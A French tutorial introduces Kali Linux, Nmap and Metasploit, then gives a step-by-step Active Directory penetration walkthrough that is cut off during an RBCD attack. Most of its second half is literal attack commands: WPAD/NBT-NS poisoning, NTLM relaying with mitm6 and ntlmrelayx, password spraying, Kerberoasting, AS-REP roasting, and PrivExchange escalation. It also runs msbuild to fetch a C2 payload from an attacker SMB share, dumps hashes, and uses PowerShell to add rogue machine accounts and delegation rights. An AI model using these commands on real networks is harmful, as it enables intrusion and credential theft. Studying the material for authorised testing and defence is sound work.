Kali Linux
1. Introduction
Qu'est-ce que Kali Linux ?
-
Kali Linux est une distribution de sécurité de Linux dérivée de Debian et spécialement conçue pour la criminalité informatique et les tests de pénétration avancés.
-
Il a été développé grâce à la réécriture de BackTrack par Mati Aharoni et Devon Kearns d'Offensive Security.
-
Kali Linux contient plusieurs centaines d'outils bien conçus pour diverses tâches de sécurité de l'information, telles que les tests d'intrusion, la recherche en sécurité, la criminalité informatique et la rétro-ingénierie.
-
Kali Linux propose plus de 600 applications de test d'intrusion préinstallées à découvrir.
-
Chaque programme avec sa flexibilité et son cas d'utilisation uniques.
-
Kali Linux fait un excellent travail en séparant ces utilitaires utiles dans les catégories suivantes :
-
Information Gathering
-
Vulnerability Analysis
-
Wireless Attacks
-
Web Applications
-
Exploitation Tools
-
Stress Testing
-
Forensics Tools
-
Sniffing & Spoofing
-
Password Attacks
-
Maintaining Access
-
Reverse Engineering
-
Reporting Tools
-
Hardware Hacking
-
​
Qui utilise Kali Linux et pourquoi ?
-
Kali Linux est un système d'exploitation unique, car c'est l'une des rares plates-formes ouvertement utilisées par les bons et les méchants.
-
Les administrateurs de sécurité et les hackers Black Hat utilisent largement ce système d'exploitation.
-
L'un pour détecter et prévenir les failles de sécurité, et l'autre pour identifier et éventuellement exploiter les failles de sécurité.
-
Le nombre d'outils configurés et préinstallés sur le système d'exploitation, font de Kali Linux le couteau suisse de toute boîte à outils des professionnels de la sécurité.
​
-
Security Administrators – Les administrateurs de sécurité sont responsables de la protection des informations et des données de leur institution.
Ils utilisent Kali Linux pour examiner leur(s) environnement(s) et s'assurer qu'il n'y a pas de vulnérabilités facilement détectables. -
Network Administrators - Les administrateurs réseau sont responsables du maintien d'un réseau efficace et sécurisé.
-
Ils utilisent Kali Linux pour auditer leur réseau.
-
Par exemple, Kali Linux a la capacité de détecter les points d'accès malveillants.
-
-
Network Architects - Les architectes réseau sont responsables de la conception d'environnements réseau sécurisés.
Ils utilisent Kali Linux pour auditer leurs conceptions initiales et s'assurer que rien n'a été négligé ou mal configuré. -
Pen Testers - Les pen testers utilisent Kali Linux pour auditer les environnements et effectuer des reconnaissances sur les environnements d'entreprise qu'ils ont été embauchés pour examiner.
-
CISO ou Chief Information Security Officers, utilisent Kali Linux pour auditer en interne leur environnement et découvrir si de nouvelles applications ou configurations rouges ont été mises en place.
-
Forensic Engineers - Kali Linux possède un "mode judiciaire", qui permet à un ingénieur judiciaire d'effectuer la découverte et la récupération de données dans certains cas.
-
White Hat Hackers similaire aux Pen Testers, utilise Kali Linux pour auditer et découvrir les vulnérabilités qui peuvent être présentes dans un environnement.
-
Black Hat Hackers utilisez Kali Linux pour découvrir et exploiter les vulnérabilités.
Kali Linux possède également de nombreuses applications d'ingénierie sociale, qui peuvent être utilisées par un Black Hat Hacker pour compromettre une organisation ou un individu. -
Grey Hat Hackers se situent entre White Hat et Black Hat Hackers.
Ils utiliseront Kali Linux de la même manière que les deux énumérés ci-dessus. -
Computer Enthusiast est un terme assez générique, mais toute personne intéressée à en savoir plus sur les réseaux ou les ordinateurs, en général, peut utiliser Kali Linux pour en savoir plus sur les technologies de l'information, les réseaux et les vulnérabilités courantes.
​
2. Méthodes d'installation de Kali Linux
Méthodes d'installation:
​
-
Directement sur un PC, un ordinateur portable - En utilisant une image ISO Kali, Kali Linux peut être installé directement sur un PC ou un ordinateur portable.
- Cette méthode est préférable si vous avez un PC de rechange et que vous connaissez Kali Linux.
- De plus, si vous planifiez ou effectuez des tests de point d'accès, il est recommandé d'installer Kali Linux directement sur un ordinateur portable compatible Wi-Fi. -
Virtualisé (VMware, Hyper-V, Oracle VirtualBox, Citrix) – Kali Linux prend en charge la plupart des hyperviseurs connus et peut être facilement intégré aux plus populaires.
Des images préconfigurées sont disponibles en téléchargement sur https://www.kali.org/get-kali/#kali-virtual-machines , ou une image ISO peut être utilisée pour installer manuellement le système d'exploitation dans l'hyperviseur préféré. -
Cloud ( Amazon AWS , Microsoft Azure ) – Compte tenu de la popularité de Kali Linux, AWS et Azure fournissent des images pour Kali Linux.
-
Disque de démarrage USB - En utilisant l'ISO de Kali Linux, un disque de démarrage peut être créé pour exécuter Kali Linux sur une machine sans l'installer réellement ou à des fins forensiques.
-
Windows 10 (App) – Kali Linux peut maintenant fonctionner nativement sur Windows 10, via la ligne de commande.
Toutes les fonctionnalités ne fonctionnent pas encore car elles sont encore en mode bêta.
​
Premiers pas avec l'interface graphique de Kali Linux
Le Kali Desktop comporte quelques onglets que vous devez d'abord noter et avec lesquels vous devez vous familiariser: Onglet Applications, onglet Emplacements et Kali Linux Dock.
-
Onglet Applications - Fournit une liste déroulante graphique de toutes les applications et outils préinstallés sur Kali Linux.
-
L'examen de l' onglet Applications est un excellent moyen de se familiariser avec le système d'exploitation Kali Linux enrichi.
-
Deux applications dont nous parlerons dans ce tutoriel Kali Linux
sont Nmap et Metasploit . -
Les applications sont classées dans différentes catégories,
ce qui facilite grandement la recherche d'une application.
-
​
-
Onglet Places - Semblable à tout autre système d'exploitation GUI, tel que Windows ou Mac, un accès facile à vos dossiers, images et Mes documents est un composant essentiel.
-
Places sur Kali Linux fournit cette accessibilité qui est vitale pour tout système d'exploitation .
-
Par défaut, le menu Places comporte les onglets suivants, Accueil, Bureau, Documents, Téléchargements, Musique, Images, Vidéos, Ordinateur et Parcourir le réseau.
-
​
-
Kali Linux Dock - Semblable au Dock d'Apple Mac ou à la barre des tâches Microsoft Windows, le Kali Linux Dock offre un accès rapide aux applications fréquemment utilisées / préférées.
Les applications peuvent être ajoutées ou supprimées facilement.
​
3. Qu'est-ce que Nmap ?
-
Network Mapper, mieux connu sous le nom de Nmap, est un utilitaire gratuit et open source utilisé pour la découverte du réseau et l'analyse des vulnérabilités .
-
Les professionnels de la sécurité utilisent Nmap pour découvrir les appareils fonctionnant dans leurs environnements.
-
Nmap peut également révéler les services et les ports que chaque hôte dessert, exposant ainsi un risque de sécurité potentiel.
-
Nmap offre la flexibilité de surveiller un seul hôte ou un vaste réseau composé de centaines, voire de milliers d'appareils et de sous-réseaux.
-
La flexibilité offerte par Nmap a évolué au fil des ans, mais il s'agit essentiellement d'un outil d'analyse de ports, qui collecte des informations en envoyant des paquets bruts à un système hôte.
-
Nmap écoute ensuite les réponses et détermine si un port est ouvert, fermé ou filtré.
-
-
La première analyse avec laquelle vous devez vous familiariser est l'analyse Nmap de base qui analyse les 1000 premiers ports TCP.
-
S'il découvre un port en écoute, il affichera le port comme étant ouvert, fermé ou filtré.
-
Filtré, ce qui signifie qu'un pare-feu est très probablement en place pour modifier le trafic sur ce port particulier.
-
Vous trouverez ci-dessous une liste de commandes Nmap pouvant être utilisées pour exécuter l'analyse par défaut.
-
​
​
​
​
Comment effectuer une analyse Nmap de base sur Kali Linux
-
Pour exécuter une analyse Nmap de base dans Kali Linux, suivez les étapes ci-dessous.
-
Avec Nmap comme illustré ci-dessus, vous avez la possibilité d' analyser une seule adresse IP, un nom DNS, une plage d'adresses IP, des sous-réseaux et même d'analyser à partir de fichiers texte.
-
Pour cet exemple, nous allons scanner l'adresse IP localhost.
Étape 1) Dans le menu Dock , cliquez sur le deuxième onglet qui est le Terminal
Étape 2) La fenêtre Terminal devrait s'ouvrir, entrez la commande ifconfig, cette commande renverra l'adresse IP locale de votre système Kali Linux. Dans cet exemple, l'adresse IP locale est 10.0.2.15
Étape 3) Notez l'adresse IP locale
Étape 4) Dans la même fenêtre de terminal, entrez nmap 10.0.2.15 , cela analysera les 1000 premiers ports sur l'hôte local. Considérant qu'il s'agit de l'installation de base, aucun port ne doit être ouvert.
Étape 5) Examinez les résultats
​
-
Par défaut, nmap scanne uniquement les 1000 premiers ports. Si vous deviez analyser les ports 65535 complets, vous modifieriez simplement la commande ci-dessus pour inclure -p- : Nmap 10.0.2.15 -p-
Nmap - Analyse OS
-
Une autre fonctionnalité basique mais utile de nmap est la capacité de détecter le système d'exploitation du système hôte.
-
Le système hôte est une surface Windows 10. L'adresse IP du système hôte est 10.28.2.26.
-
Dans la fenêtre Terminal , saisissez la commande nmap suivante : nmap 10.28.2.26 – A
-
Examiner les résultats : l'ajout de -A indique à nmap non seulement d'effectuer une analyse de port, mais également d'essayer de détecter le système d'exploitation.
-
​
4. Qu'est-ce que Metasploit ?
-
Le Metasploit Framework est un projet open source qui fournit une ressource publique pour la recherche de vulnérabilités et le développement de code permettant aux professionnels de la sécurité d'infiltrer leur propre réseau et d'identifier les risques de sécurité et les vulnérabilités.
-
Metasploit a récemment été acheté par Rapid 7 (https://www.metasploit.com).
-
Cependant, l'édition communautaire de Metasploit est toujours disponible sur Kali Linux.
-
Metasploit est de loin l'utilitaire de pénétration le plus utilisé au monde .
-
-
Il est important que vous soyez prudent lorsque vous utilisez Metasploit car l'analyse d'un réseau ou d'un environnement qui n'est pas le vôtre peut être considérée comme illégale dans certains cas.
-
Dans ce didacticiel Metasploit Kali Linux, nous allons vous montrer comment démarrer Metasploit et exécuter une analyse de base sur Kali Linux.
-
Metasploit est considéré comme un utilitaire avancé et il faudra un certain temps pour devenir adepte, mais une fois familiarisé avec l'application, ce sera une ressource inestimable.
Metasploit et Nmap
-
Dans Metasploit, nous pouvons réellement utiliser Nmap.
-
Étape 1) Dans l'onglet Applications , faites défiler jusqu'à 08-Exploitation Tools , puis sélectionnez Metasploit
-
Étape 2) Une boîte à bornes s'ouvrira, avec MSF dans la boîte de dialogue, c'est Metasploit
-
Étape 3) Entrez la commande suivante : db_nmap -V -sV 10.0.2.15/24
-
(assurez-vous de remplacer 10.0.2.15 par votre adresse IP locale)
​
-
db_ signifie base de données
-
-V représente le mode verbeux
-
-sV signifie détection de version de service
​
Utilitaire d'exploitation Metasploit
-
Une utilisation courante de Metasploit est l'exploitation des vulnérabilités.
-
Ci-dessous, nous passerons en revue les étapes d'examen de certains exploits et d'essais d'exploitation d'une machine Windows 7.
-
Étape 1) En supposant que Metasploit est toujours ouvert, entrez Hosts -R dans la fenêtre du terminal.
Cela ajoute les hôtes récemment découverts à la base de données Metasploit.
-
Étape 2) Entrez " show exploits ", cette commande fournira un aperçu complet de tous les exploits disponibles pour Metasploit.
-
Étape 3) Maintenant, essayez de réduire la liste avec cette commande : search name: Windows 7 , cette commande recherche les exploits qui incluent spécifiquement Windows 7, pour les besoins de cet exemple, nous allons essayer d'exploiter une machine Windows 7.
-
Selon votre environnement, vous devrez modifier les paramètres de recherche pour répondre à vos critères.
-
Par exemple, si vous avez un Mac ou une autre machine Linux, vous devrez modifier le paramètre de recherche pour qu'il corresponde à ce type de machine.
-
-
Étape 4) Pour les besoins de ce didacticiel, nous utiliserons une vulnérabilité Apple Itunes découverte dans la liste.
Pour utiliser l'exploit, il faut saisir le chemin complet qui s'affiche dans la liste : use exploit/windows/browse/apple_itunes_playlist
-
Étape 5) Si l'exploit réussit, l'invite de commande changera pour afficher le nom de l'exploit suivi de > comme illustré dans la capture d'écran ci-dessous.
-
Étape 6) Entrez les options d'affichage pour passer en revue les options disponibles pour l'exploit.
Chaque exploit aura, bien sûr, des options différentes.
-
​
​
5. Penetration Testing Active Directory
Synopsis :
-
Un client vous a engagé pour effectuer un test d'intrusion sur son réseau, qui utilise Active Directory.
-
Vous n'avez rien reçu. Vous n'avez pas d'identifiants, vous n'avez pas de portée, vous n'avez pas de badge pour entrer par la porte d'entrée, mais vous parvenez à franchir une porte et à trouver une pièce isolée avec un téléphone IP.
-
Vous débranchez le téléphone IP, branchez votre ordinateur portable et vous vous retrouvez sur le réseau.
​
5.1 Étape 1 - Prendre pied
​
-
En l'absence d'informations d'identification, la quantité de reconnaissance que nous pouvons effectuer est limitée, et la reconnaissance aura lieu à presque toutes les étapes du cycle, mais il y a quelques choses que nous pouvons faire dès le départ pour prendre pied sur le réseau.
-
Premièrement, puisque nous avons un accès au réseau, il suffit de vérifier sur quel sous-réseau nous sommes via ifconfig ou ipconfig.
-
Une fois que vous avez votre adresse IP, faites un balayage ping dans nmap pour voir si d'autres appareils sont accessibles : nmap -sn 192.168.1.1/24
-
-
Si les appareils remontent, alors vous êtes en bonne voie.
-
Si vous n'obtenez rien, il est possible que l'ICMP soit désactivé, qu'il n'y ait pas d'autres appareils sur le réseau, ou puisque vous n'êtes pas authentifié, vous ne pouvez pas communiquer avec d'autres appareils et êtes peut-être bloqué par une solution de sécurité d'identité (par exemple, Cisco ISE).
-
Pour les besoins de l'article, supposons que vous récupériez quelques machines et que vous puissiez les envoyer avec succès.
-
​
Outil : Responder
-
Ensuite, nous utiliserons un outil appelé Responder, ou si vous aimez Windows, Inveigh.
-
Ce que ces deux outils font, c'est vérifier une mauvaise configuration très courante dans AD, ce qui entraîne la capacité de mener un empoisonnement WPAD et NBT-NS.
-
Par défaut, Windows est configuré pour rechercher un fichier Proxy Auto Config (PAC), via le Web Proxy Auto-Discovery (WPAD).
-
Il est important de noter que WPAD n'est pas le protocole qui effectue la recherche, c'est juste l'ensemble des procédures sur la façon dont l'appareil trouve le fichier PAC.
-
La découverte automatique du fichier PAC est utile dans une organisation car l'appareil enverra une diffusion demandant le fichier proxy et en recevra un.
-
Cependant, il n'authentifie naturellement pas qui envoie le fichier proxy, permettant à un attaquant d'envoyer une réponse falsifiée qui demande ensuite des informations d'identification.
-
-
-
Dans Kali, le responder est installé par défaut : responder -I eth0 --wpad
-
Sur ma machine Windows 7, j'ouvre Internet Explorer et je vais sur Google, qui lance ensuite une recherche de fichier WPAD.
-
Dans Responder, je vois la demande arriver, auquel Responder répond alors automatiquement à la demande avec un défi, ce qui entraîne l'envoi par la victime de son nom d'utilisateur et de son mot de passe haché (au format NTLMv2).
-
Avec ce hachage, il y a plusieurs choses que nous pouvons faire.
-
Nous pouvons essayer de le casser, ou nous pouvons le relayer en utilisant un outil comme ntlmrelay.py.
-
Windows a HashcatGUI , ce qui le rend tellement plus facile et ce que je vais utiliser.
On met le hachage dans un fichier appelé 'hash.txt' et y exécute quelques listes de mots/règles, mais dans ce cas, je l'ai juste exécuté avec rockyou.txt
-
Les paramètres pour HashcatGUI.
-
Le mot de passe piraté est 'Password!'
-
-
Maintenant que nous avons réussi à déchiffrer le mot de passe, nous avons les informations d'identification Alice: Password!
-
-
​
Outil : mitm6
-
Supposons que le réseau du client utilise un fichier PAC légitime et que votre usurpation d'identité ne fonctionne pas.
-
Il existe une autre technique qui utilise IPv6 et DNS pour relayer les informations d'identification vers une cible.
-
Par défaut, IPv6 est activé et en fait préféré à IPv4, ce qui signifie que si une machine dispose d'un serveur DNS IPv6, elle l'utilisera sur IPv4.
-
De plus, par défaut, les machines Windows recherchent un serveur DNS IPv6 via des requêtes DHCPv6, qui si nous usurpons un faux serveur DNS IPv6, nous pouvons contrôler efficacement la façon dont un appareil interrogera le DNS.
-
Tout d'abord, téléchargez mitm6 .
-
git clone https://github.com/fox-it/mitm6.git
-
cd mitm6
-
pip install .
-
​
-
Ensuite, exécutez-le sur le groupe de travail réseau cible.
-
Depuis que nous avons déjà effectué un balayage ping, nous avons également reçu des noms NetBIOS, indiquant que le domaine cible est lab.local
-
Voici à quoi ressemblaient les paramètres IP sur la cible avant d'exécuter mitm6
-
-
Notez un serveur DNS
-
Puis lancez mitm6 : mitm6 -d lab.local
-
Et maintenant le serveur DNS a changé sur la cible
-
Notez l'adresse IPv6 en tant que serveur DNS.
-
Maintenant, la vraie vulnérabilité est que Windows préfère IPv6 à IPv4, ce qui signifie qu'on contrôle désormais le DNS.
-
Alors maintenant, nous tirons parti du fait que nous contrôlons le DNS avec des réponses WPAD usurpées à nouveau via ntlmrelayx.py.
-
Avec mitm6 en cours d'exécution dans une fenêtre, ouvrez-en une autre et exécutez :
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i-
-wh : Serveur hébergeant le fichier WPAD (IP de l'attaquant)
-
-t : cible (vous ne pouvez pas relayer les informations d'identification vers le même appareil que celui que vous usurpez)
-
-i : ouvre un shell interactif
-
-
À partir de là, vous pouvez établir une connexion avec le framework de commande et de contrôle (C2) de votre choix.
-
Dans ce cas, on utilise SILENTTRINITY, avec la commande -c , qui dans ce cas utilise MSBuild pour construire la charge utile malveillante.
-
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'
-
-
Mais msbuild.exe dans ce cas ne construit pas le fichier XML et on n'obtient aucune connexion à SILENTTRINITY, au lieu de cela, on regarde le serveur SMB et on voit le hachage transmis.
-
Ce qu'on craque ensuite à la place.
-
Et maintenant, nous avons réussi à obtenir des informations d'identification sur le réseau sans utiliser Responder.
​
Outil : CrackMapExec
-
CrackMapExec est essentiellement un couteau suisse pour les pentesters.
De la pulvérisation de mots de passe et du passage de hachage à l'exécution de commandes, il devrait être utilisé dans chaque boîte à outils de pentesters. -
Si tout le reste échoue, nous pouvons tenter de pulvériser le mot de passe.
-
Il y a une raison pour laquelle cette méthode est la dernière et c'est à cause des verrouillages de mot de passe.
-
Les verrouillages par mot de passe ne sont pas aussi courants qu'on pourrait le penser, ce qui permet à un attaquant d'utiliser une attaque par dictionnaire contre les noms d'utilisateur.
-
Obtenir un nom d'utilisateur est la première étape, qui peut être accomplie via OSINT et en utilisant theharvester.
-
Si nous n'avions pas de nom d'utilisateur OSINT, nous pouvons également donner à CrackMapExec (CME) une liste de mots d'utilisateur, mais pour gagner du temps, supposons que nous ayons le nom d'utilisateur rsmith .
-
-
Si vous êtes sur Kali, CrackMapExec devrait être installé si vous êtes sur une version plus récente, mais sinon, il peut être installé : apt-get install crackmapexec
-
Comme nous avions un appareil sur le réseau identifié à partir de l'analyse, nous pouvons donner à CME une liste de mots de passe associée au nom d'utilisateur et tenter de nous connecter.
crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares -
Après quelques secondes, le mot de passe est trouvé.
-
​
​
5.2 Étape 2 - Escalade des privilèges et reconnaissance
-
Dans l' article précédent , nous avons obtenu les informations d'identification du domaine de trois manières différentes.
-
Pour la majeure partie de cette partie de la série, on utilisera les informations d'identification de l'utilisateur rsmith , car elles sont de bas niveau, ce qui nous oblige à faire une escalade de privilèges.
-
Avec les informations d'identification sur le réseau, nous devrions maintenant faire une petite reconnaissance avant de regarder directement les exploits de correctifs manquants.
​
Outil : Bloodhound
-
Bloodhound est un excellent outil car il cartographie littéralement le domaine dans un graphique, révélant des relations à la fois intentionnelles et non intentionnelles.
-
Du point de vue de l'attaquant, c'est intéressant car cela nous montre des cibles.
-
Supposons que vous n'ayez pas de session ouverte sur une machine, mais que vous ayez des informations d'identification.
-
Vous pouvez toujours utiliser Bloodhound’s Python ingestor et collecter les données à distance. Il peut être installé via git
git clone https://github.com/fox-it/BloodHound.py.git cd BloodHound.py/ && pip install
-
Peut ensuite être exécuté en transmettant les informations d'identification, le domaine et l'adresse IP DC
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
-
Une fois que BH a fait son travail, il stockera les données dans le répertoire dans lequel vous l'avez exécuté, au format .json.
-
Copiez ces fichiers, puis faites-les glisser dans Bloodhound et vous avez maintenant un joli graphique du réseau.
-
Si vous triez par "Shortest path to domain admin", vous obtiendrez quelque chose de similaire à ci-dessous
-
-
AdminAlice est connecté à un DC.
-
La puissance de ceci est que vous pouvez voir directement quels administrateurs sont connectés à quelles machines, vous donnant une prochaine cible.
-
Dans un domaine de centaines, voire de milliers de machines qui accepteront des informations d'identification à faible privilège, vous ne voulez pas perdre de temps en rassemblant simplement d'autres informations d'identification à faible privilège.
-
Cela donne une liste de cibles, parmi beaucoup d'autres choses.
-
D'autres utilisations peuvent inclure l'identification des serveurs SQL qui pourraient avoir des bases de données contenant des informations d'identification, l'identification des machines dans lesquelles RDP peut être utilisé, et bien plus encore.
-
Attaque : Kerberoasting | Outil : GetUserSPNs.py
-
Avec une liste cible et un contrôleur de domaine identifié, une méthode d'élévation des privilèges est Kerberoasting .
-
Le Kerberoasting est possible car les comptes de service reçoivent un nom principal de service (SPN) dans AD.
-
Il est alors possible pour tout utilisateur de demander un ticket Kerberos au SPN, qui possède le mot de passe haché de ce compte (au format Kerberos 5 TGS-REP).
-
Il existe de nombreux outils différents qui peuvent faire du Kerberoasting, mais en réalité, vous n'avez besoin que d'un seul outil.
-
GetUserSPNs.py est assez explicite - il interroge le domaine cible pour les SPN qui s'exécutent sous un compte d'utilisateur.
-
Et maintenant, nous avons le hachage vers un
compte de service. -
On le charge dans hashcat (GUI) et sélectionne
le type de hachage 13100, comme indiqué ci-dessous
-
Et cela le craque en quelques secondes
-
-
Nous avons maintenant les informations d'identification d'un compte de service, ce qui se traduit généralement par un accès au contrôleur de domaine.
Attaque : ASEPRoasting | Outil : Rubeus
-
ASEPRoasting similaire à Kerberoasting dans le sens où nous interrogeons les comptes pour les TGT, obtenons le hachage, puis le déchiffrons, mais dans le cas d'ASEPRoasting, il y a une très grosse mise en garde : la pré-authentification Kerberos doit être désactivée, ce qui n'est pas un paramètre par défaut.
-
Lorsque vous demandez un TGT, via un message Kerberos AS-REQ, vous fournissez également un horodatage chiffré avec votre nom d'utilisateur et votre mot de passe.
-
Le centre de distribution de clés (KDC) déchiffre ensuite l'horodatage, vérifie que la demande provient de cet utilisateur, puis poursuit le processus d'authentification.
-
Il s'agit du processus de pré-authentification pour Kerberos, ce qui est évidemment un problème pour un attaquant car nous ne sommes pas le KDC et ne pouvons pas déchiffrer ce message.
-
Bien sûr, c'est par conception, pour empêcher les attaques, mais si la pré-authentification est désactivée, nous pouvons envoyer un AS-REQ à tout utilisateur qui renverra son mot de passe haché en retour.
-
Étant donné que la pré-authentification est activée par défaut, elle doit être désactivée manuellement, ce qui est rare, mais mérite d'être mentionné.
-
-
tsmith est susceptible d'ASREPRoasting car l'option "Do not require Kerberos preauthentication" est cochée.
-
Pour exploiter cela, nous allons utiliser un outil appelé Rubeus.
-
Rubeus est un ensemble d'outils massif pour abuser de Kerberos, mais pour effectuer ASREPRoasting, nous nous soucions de cette section .
-
Pour utiliser Rubeus, vous devez d'abord installer Visual Studio.
-
Une fois installé, téléchargez Rubeus et ouvrez le fichier Rubeus.sln avec Visual studio.
-
Par défaut, il s'installera dans le fichier Rubeus\bin\Debug\. cd dans ce répertoire, puis exécutez-le :
.\Rubeus.exe asreproast
-
-
Si aucun utilisateur n'a coché la case
"Do not require Kerberos preauthentication" ,
il n'y aura aucun utilisateur à griller.
-
Nous pouvons alors obtenir le hachage pour l'utilisateur et le déchiffrer.
-
Gardez à l'esprit que les exemples ont été réalisés sur un ordinateur déjà joint au domaine, donc si vous faisiez cela à partir d'un ordinateur n'appartenant pas au domaine, vous devrez transmettre le contrôleur de domaine, le nom de domaine, les unités d'organisation, etc.
Outil : SILENTTRINITY
-
SILENTTRINITY est un framework Command and Control (C2) qui utilise IronPython et C#.
-
L'une des options payload consiste à utiliser MSBuild.exe, un binaire Windows qui génère du code C # (qui est également installé par défaut avec Windows 10, dans le cadre de .NET) via XML.
-
Cela nous permet d'y intégrer un payload, puis d'utiliser le framework .NET sous-jacent pour faire ce qu'il veut sur la machine de la victime via IronPython, C # et d'autres langages.
-
-
Vous trouverez ci-dessous un PoC dans une nouvelle installation de Windows 10, en utilisant les informations d'identification d'un utilisateur non administrateur de domaine
-
Le compte "tsmith" est uniquement dans
le groupe de l'utilisateur
-
Exécution de code avec les informations d'identification de tsmith
-
On génère un XML payload dans SILENTTRINITY, puis l'héberge sur le serveur SMB via smbserver.py.
-
Si vous ne savez pas comment procéder, suivez mon guide ici .
-
On utilise ensuite CME pour exécuter la commande qui va récupérer le fichier XML sur ma machine attaquante.
-
-
-
crackmapexec 192.168.218.60 -u tsmith -p Password! -d lab.local -x 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe \\192.168.218.129\SMB\msbuild.xml' --exec-method atexec
-
CME exécute la commande fournie, qui exécute msbuild.exe et lui dit de créer le fichier XML hébergé sur mon serveur SMB
-
On a maintenant une session ouverte dans ST
-
-
Et la liste des informations pour la session révèle que mon nom d'utilisateur est SYSTEM, ce qui signifie qu'on est passé de l'utilisateur tsmith à SYSTEM, en raison du fait que MSBuild.exe s'exécutait avec l'option -exec-method atexec , qui utilise le planificateur de tâches avec les privilèges SYSTEM (ou quoi que ce soit le plus élevé possible) pour exécuter la commande.
-
Et bien sûr, nous vidons ensuite les informations d'identification et avons maintenant un hachage de mot de passe administrateur que nous pouvons transmettre ou craquer.
Attaque : PrivExchange
-
PrivExchange tire parti du fait que les serveurs Exchange sont sur-autorisés par défaut et est un excellent moyen d'augmenter rapidement les privilèges.
-
Cela fonctionne en interrogeant le serveur Exchange, en obtenant une réponse contenant les informations d'identification du serveur Exchange, puis en relayant les informations d'identification dans la réponse au contrôleur de domaine via ntlmrelayx, puis en modifiant les privilèges d'un utilisateur afin qu'il puisse vider les hachages sur le contrôleur de domaine.
-
Tout d'abord, démarrez ntlmrelayx.py et faites-le pointer vers un DC, authentifiez-vous via LDAP et augmentez les privilèges d'un utilisateur : ntlmrelayx.py -t ldap://192.168.218.10 --escalate-user rsmith
-
Ensuite, exécutez privexchange.py en transmettant votre adresse IP d'attaquant (-ah), la cible et l'utilisateur/mot de passe/domaine : python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter2017
-
-
Privexchange.py effectue l'appel API vers le Exchange
-
ntlmrelayx relaie les informations d'identification du
serveur Exchange au Master DC, puis escalade les
privilèges de rsmith
-
Utilisation des privilèges de rsmith pour vider les hachages sur le DC.
-
Avec les hachages de tous les utilisateurs, ils peuvent maintenant être piratés.
​
Attaque : Délégation contrainte basée sur les ressources, partie 1
-
Attaque qui tire parti des installations AD par défaut.
-
Plus précisément, le fait que les ordinateurs peuvent, par défaut, modifier certains attributs relatifs à leurs autorisations tels que msDS-AllowedToActOnBehalfOfOtherIdentity.
-
Cet attribut contrôle si les utilisateurs peuvent se connecter à (presque) n'importe quel ordinateur du domaine via l'emprunt d'identité Kerberos.
-
Tout cela est possible grâce au relais des informations d'identification.
-
-
On va utiliser à nouveau mitm6 , mais relayer les réponses d'une manière différente : mitm6 -i ens33 -d lab.local
-
Je sers ensuite le fichier WPAD et transmets les informations d'identification via LDAPS au contrôleur de domaine principal tout en choisissant la méthode d'attaque d'accès délégué
ntlmrelayx.py -t ldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access
-
La victime ouvre IE, qui envoie une requête WPAD sur IPv6, à laquelle l'attaquant répond et relaie ces informations d'identification au DC via LDAPS.
-
Un nouvel ordinateur est créé et les droits de délégation sont modifiés afin que le nouvel 'ordinateur' puisse emprunter l'identité de n'importe quel utilisateur sur LABWIN10 (la victime) via l' attribut msDS-AllowedToActOnBehalfOfOtherIdentity.
-
On génère donc maintenant un silver ticket et on emprunte l'identité de l'utilisateur "Administrateur".
getST.py -spn cifs/LABWIN10.lab.local lab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator
-
-
On se connecte ensuite à LABWIN10 avec le Silver ticket via secretsdump.py et vide les informations d'identification.
​
Attaque : Délégation contrainte basée sur les ressources, Partie 2
-
Essentiellement, si vous êtes en mesure de modifier un objet ordinateur dans AD, vous pouvez prendre en charge l'ordinateur lui-même.
-
Le seul problème est qu'il doit y avoir un contrôleur de domaine 2012+, car les anciennes versions ne prennent pas en charge la délégation contrainte basée sur les ressources (RBCD).
-
Trois outils sont utilisés pour cela :
-
Cette attaque est ensuite menée sur la machine Windows 10 avec les informations d'identification de rsmith. Tout d'abord, nous définissons la politique d'exécution sur contournement afin que nous puissions importer et exécuter des scripts.
-
-
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
-
Ensuite, nous vérifions si nous pouvons modifier les listes de contrôle d'accès discrétionnaire (DACL).
-
-
$AttackerSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid Get-DomainObjectACL LAB2012DC01.lab.local | ?{$_.SecurityIdentifier -match $AttackerSID}
-
Les commandes ci-dessus recherchent les droits pour le SID "Utilisateurs", indiquant que le groupe dispose des autorisations "Generate Write" sur l'objet (le contrôleur de domaine).
Par défaut, ce n'est pas exploitable. Il s'agit d'abuser d'une mauvaise configuration potentielle faite par un administrateur ; dans cet exemple, c'est le fait que l'administrateur a ajouté le groupe "Utilisateurs" en tant que principal au contrôleur de domaine et a autorisé l'attribut GenericWrite. -
En tant que PoC, rsmith (qui fait partie du groupe « Utilisateurs »), ne peut pas entrer dans le DC.
-
-
Ce que nous faisons ensuite est de créer un nouveau compte d'ordinateur et de modifier la propriété sur le contrôleur de domaine pour permettre au nouveau compte d'ordinateur de se faire passer pour n'importe qui pour le contrôleur de domaine, tout cela grâce au msDS- allowedToActOnBehalfOfOtherIdentity .
-
Il nous est possible de créer un nouveau compte d'ordinateur, car par défaut, un utilisateur est autorisé à créer jusqu'à 10 comptes d'ordinateur.
-
Powermad a une fonction pour cela
New-MachineAccount -MachineAccount hackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText -Force)
-
-
Nous ajoutons ensuite le SID de la nouvelle machine à l' attribut msDS-allowedToActOnBehalfOfOtherIdentity sur le DC.
$ComputerSid = Get-DomainComputer hackermachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte $SD.GetBinaryForm($ SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
-
Utilisez ensuite Rubeus pour obtenir le mot de passe NT pour notre machine créée.
